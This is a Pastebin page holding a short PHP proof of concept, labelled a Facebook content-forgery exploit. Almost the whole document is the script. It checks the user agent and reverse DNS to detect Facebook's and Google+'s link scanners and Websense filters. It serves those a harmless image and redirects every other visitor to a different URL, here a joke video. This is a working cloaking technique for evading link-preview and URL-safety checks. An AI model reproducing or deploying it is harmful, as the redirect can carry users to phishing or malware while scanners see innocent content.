MLT

PHP - Facebook.com content-forgery exploit PoC

MLT
Nov 10th, 2013
716
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.08 KB | None | 0 0
  1. <?php
  2. # User agent checking methods
  3. $fb_string = '/facebookexternal/i';                # facebookexternal shows in the facebook content scanner's user agent
  4. $gplus_string = '/Feedfetcher-Google/i';       # googleplus shows up in the user agent as well.
  5. # rDNS Lookup Methods
  6. $host_websense = '/websense.com/i';         # Checking the rdns for websense filters
  7. $host_fb = '/tfbnw.net/i';                              # Checking the rdns for tfbnw.net - facebook host
  8. # Load the request properties
  9. $u_agent = $_SERVER['HTTP_USER_AGENT'];
  10. $u_ref     = $_SERVER['HTTP_REFERER'];
  11. $u_host  = gethostbyaddr($_SERVER['REMOTE_ADDR']);
  12. # If we're coming from or facebook or websense or google plus,
  13. if (preg_match($host_fb,$u_host) || preg_match($host_websense,$u_host) || preg_match($fb_string,$u_agent) || preg_match($gplus_string,$u_agent)) {
  14.     # Display an image
  15.    header('Content-Type: image/jpeg');
  16.     @readfile ('/var/www/localhost/cute_kitten.jpeg');
  17. } else {
  18.     # Rickroll this unsuspecting user
  19.    header('Location: http://www.youtube.com/watch?v=dQw4w9WgXcQ&ob=av3e');
  20. }
  21. ?>
Advertisement
Comments
  • Comment was deleted
Add Comment
Please, Sign In to add comment